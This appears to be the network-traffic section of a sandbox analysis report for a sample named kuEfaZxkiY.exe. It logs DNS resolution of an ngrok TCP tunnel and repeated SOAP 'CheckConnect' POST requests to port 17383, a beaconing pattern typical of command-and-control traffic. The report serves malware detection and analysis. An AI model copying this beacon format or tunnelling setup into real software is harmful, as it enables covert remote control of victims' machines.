Feb 17, 2024 20:42:38.276055098 CET	17383	49745	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:38.276313066 CET	49745	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:38.276479006 CET	49745	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:38.554795027 CET	17383	49745	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:38.554833889 CET	17383	49745	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:38.554867983 CET	17383	49745	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:43.562434912 CET	49746	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:43.835509062 CET	17383	49746	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:43.836189985 CET	49746	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:43.836918116 CET	49746	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:44.109375954 CET	17383	49746	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:44.109451056 CET	17383	49746	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:44.109539986 CET	17383	49746	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:44.109817028 CET	49746	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:44.109940052 CET	49746	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:44.382559061 CET	17383	49746	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:44.382622957 CET	17383	49746	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:49.123548031 CET	49747	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:49.398596048 CET	17383	49747	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:49.399146080 CET	49747	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:49.401427984 CET	49747	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:49.674555063 CET	17383	49747	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:49.674624920 CET	17383	49747	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:49.674864054 CET	49747	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:49.675272942 CET	49747	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:49.676204920 CET	17383	49747	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:49.949655056 CET	17383	49747	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:49.949717045 CET	17383	49747	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:54.686002016 CET	49748	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:54.958385944 CET	17383	49748	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:54.958889961 CET	49748	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:54.959295988 CET	49748	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:55.231556892 CET	17383	49748	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.231612921 CET	17383	49748	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.231625080 CET	17383	49748	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.233160973 CET	49749	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:55.506181002 CET	17383	49749	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.506422997 CET	49749	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:55.506906986 CET	49749	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:55.780055046 CET	17383	49749	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.780111074 CET	17383	49749	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.780138016 CET	17383	49749	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:55.780400038 CET	49749	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:55.780726910 CET	49749	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:42:56.053250074 CET	17383	49749	3.6.115.182	192.168.2.4
Feb 17, 2024 20:42:56.053297997 CET	17383	49749	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:00.794926882 CET	49751	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:01.065777063 CET	17383	49751	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.065980911 CET	49751	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:01.066286087 CET	49751	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:01.339160919 CET	17383	49751	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.339219093 CET	17383	49751	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.339241982 CET	17383	49751	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.340784073 CET	49752	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:01.614892960 CET	17383	49752	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.615166903 CET	49752	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:01.615818977 CET	49752	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:01.890714884 CET	17383	49752	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.893192053 CET	17383	49752	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:01.893249989 CET	17383	49752	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:06.935445070 CET	49753	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:07.214459896 CET	17383	49753	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:07.214793921 CET	49753	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:07.494191885 CET	17383	49753	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:07.494225025 CET	17383	49753	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:07.494509935 CET	49753	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:08.468148947 CET	49753	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:08.468492031 CET	49753	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:08.748471975 CET	17383	49753	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:08.748501062 CET	17383	49753	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:13.484968901 CET	49754	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:13.755852938 CET	17383	49754	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:13.756177902 CET	49754	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:13.756833076 CET	49754	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:14.027251005 CET	17383	49754	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:14.027317047 CET	17383	49754	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:14.027431965 CET	49754	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:14.027812958 CET	17383	49754	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:14.028069019 CET	49754	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:14.298269033 CET	17383	49754	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:14.299401999 CET	17383	49754	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:19.047694921 CET	49755	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:19.328527927 CET	17383	49755	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:19.328808069 CET	49755	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:19.329188108 CET	49755	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:19.610318899 CET	17383	49755	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:19.610388994 CET	17383	49755	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:19.610431910 CET	17383	49755	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:19.612095118 CET	49756	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:19.890917063 CET	17383	49756	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:19.891068935 CET	49756	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:19.891447067 CET	49756	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:20.171693087 CET	17383	49756	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:20.171758890 CET	17383	49756	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:20.171798944 CET	17383	49756	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:20.171956062 CET	49756	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:20.172702074 CET	49756	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:20.450563908 CET	17383	49756	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:20.450958014 CET	17383	49756	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:25.185410976 CET	49757	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:25.458693981 CET	17383	49757	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:25.458925009 CET	49757	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:25.459287882 CET	49757	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:25.731739044 CET	17383	49757	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:25.734400988 CET	17383	49757	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:25.734436989 CET	17383	49757	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:25.735761881 CET	49758	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:26.006771088 CET	17383	49758	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:26.007006884 CET	49758	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:26.007471085 CET	49758	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:26.278208017 CET	17383	49758	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:26.278904915 CET	17383	49758	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:26.278933048 CET	17383	49758	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:31.296818018 CET	49759	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:31.574023008 CET	17383	49759	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:31.574271917 CET	49759	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:31.574500084 CET	49759	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:31.851898909 CET	17383	49759	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:31.851927996 CET	17383	49759	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:31.851941109 CET	17383	49759	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:31.853226900 CET	49760	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:32.125861883 CET	17383	49760	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:32.126019955 CET	49760	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:32.126351118 CET	49760	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:32.400147915 CET	17383	49760	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:32.400167942 CET	17383	49760	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:32.400180101 CET	17383	49760	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:32.400357008 CET	49760	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:32.400504112 CET	49760	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:32.672883987 CET	17383	49760	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:32.672900915 CET	17383	49760	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:37.404107094 CET	49761	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:37.680509090 CET	17383	49761	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:37.680723906 CET	49761	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:37.681013107 CET	49761	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:37.958142996 CET	17383	49761	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:37.958267927 CET	17383	49761	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:37.958287954 CET	17383	49761	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:37.959394932 CET	49762	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:38.235636950 CET	17383	49762	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:38.235759974 CET	49762	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:38.236052036 CET	49762	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:38.512255907 CET	17383	49762	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:38.512295008 CET	17383	49762	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:38.512330055 CET	17383	49762	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:43.529036999 CET	49763	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:43.801767111 CET	17383	49763	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:43.801990986 CET	49763	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:43.802356005 CET	49763	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:44.074451923 CET	17383	49763	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:44.074481964 CET	17383	49763	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:44.074532032 CET	17383	49763	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:44.074734926 CET	49763	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:44.075125933 CET	49763	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:44.347404003 CET	17383	49763	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:44.347433090 CET	17383	49763	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:49.093497038 CET	49764	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:49.365957022 CET	17383	49764	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:49.366102934 CET	49764	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:49.366439104 CET	49764	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:49.638921022 CET	17383	49764	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:49.639648914 CET	17383	49764	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:49.639691114 CET	17383	49764	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:49.641046047 CET	49765	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:49.917193890 CET	17383	49765	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:49.917290926 CET	49765	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:49.917583942 CET	49765	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:50.193734884 CET	17383	49765	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:50.193753958 CET	17383	49765	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:50.193768978 CET	17383	49765	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:50.193922997 CET	49765	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:50.194259882 CET	49765	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:50.470133066 CET	17383	49765	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:50.470490932 CET	17383	49765	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:55.201044083 CET	49766	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:55.475099087 CET	17383	49766	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:55.475343943 CET	49766	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:55.475730896 CET	49766	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:55.749507904 CET	17383	49766	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:55.749536037 CET	17383	49766	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:55.749552965 CET	17383	49766	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:55.750691891 CET	49767	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:56.023344994 CET	17383	49767	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:56.023469925 CET	49767	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:56.023765087 CET	49767	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:43:56.296001911 CET	17383	49767	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:56.296030998 CET	17383	49767	3.6.115.182	192.168.2.4
Feb 17, 2024 20:43:56.296050072 CET	17383	49767	3.6.115.182	192.168.2.4
Feb 17, 2024 20:44:01.311908960 CET	49768	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:44:01.582617998 CET	17383	49768	3.6.115.182	192.168.2.4
Feb 17, 2024 20:44:01.582786083 CET	49768	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:44:01.583507061 CET	49768	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:44:01.853809118 CET	17383	49768	3.6.115.182	192.168.2.4
Feb 17, 2024 20:44:01.853853941 CET	17383	49768	3.6.115.182	192.168.2.4
Feb 17, 2024 20:44:01.853914022 CET	49768	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:44:01.854099035 CET	17383	49768	3.6.115.182	192.168.2.4
Feb 17, 2024 20:44:01.854218960 CET	49768	17383	192.168.2.4	3.6.115.182
Feb 17, 2024 20:44:02.124614000 CET	17383	49768	3.6.115.182	192.168.2.4
Feb 17, 2024 20:44:02.124789000 CET	17383	49768	3.6.115.182	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 17, 2024 20:42:01.658457994 CET	49739	53	192.168.2.4	1.1.1.1
Feb 17, 2024 20:42:01.751817942 CET	53	49739	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Feb 17, 2024 20:42:01.658457994 CET	192.168.2.4	1.1.1.1	0x991f	Standard query (0)	0.tcp.in.ngrok.io	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Feb 17, 2024 20:42:01.751817942 CET	1.1.1.1	192.168.2.4	0x991f	No error (0)	0.tcp.in.ngrok.io		3.6.115.182	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

0.tcp.in.ngrok.io:17383

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49729	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:02.091609955 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49730	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:02.644577026 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49731	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:08.229341984 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49732	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:08.787210941 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49733	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:14.347752094 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49734	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:14.897855997 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49738	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:20.463119030 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49740	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:21.013288975 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49742	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:26.588409901 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49743	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:32.146611929 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49744	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:37.716052055 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49745	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:38.276479006 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49746	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:43.836918116 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49747	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:49.401427984 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49748	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:54.959295988 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49749	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:42:55.506906986 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49751	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:01.066286087 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49752	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:01.615818977 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Accept-Encoding: gzip, deflate Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49753	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:08.468148947 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49754	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:13.756833076 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49755	3.6.115.182	17383	7080	C:\Users\user\Desktop\kuEfaZxkiY.exe

Timestamp	Bytes transferred	Direction	Data
Feb 17, 2024 20:43:19.329188108 CET	244	OUT	POST / HTTP/1.1 Content-Type: text/xml; charset=utf-8 SOAPAction: "http://tempuri.org/Endpoint/CheckConnect" Host: 0.tcp.in.ngrok.io:17383 Content-Length: 137 Expect: 100-continue Accept-Encoding: gzip, deflate Connection: Keep-Alive

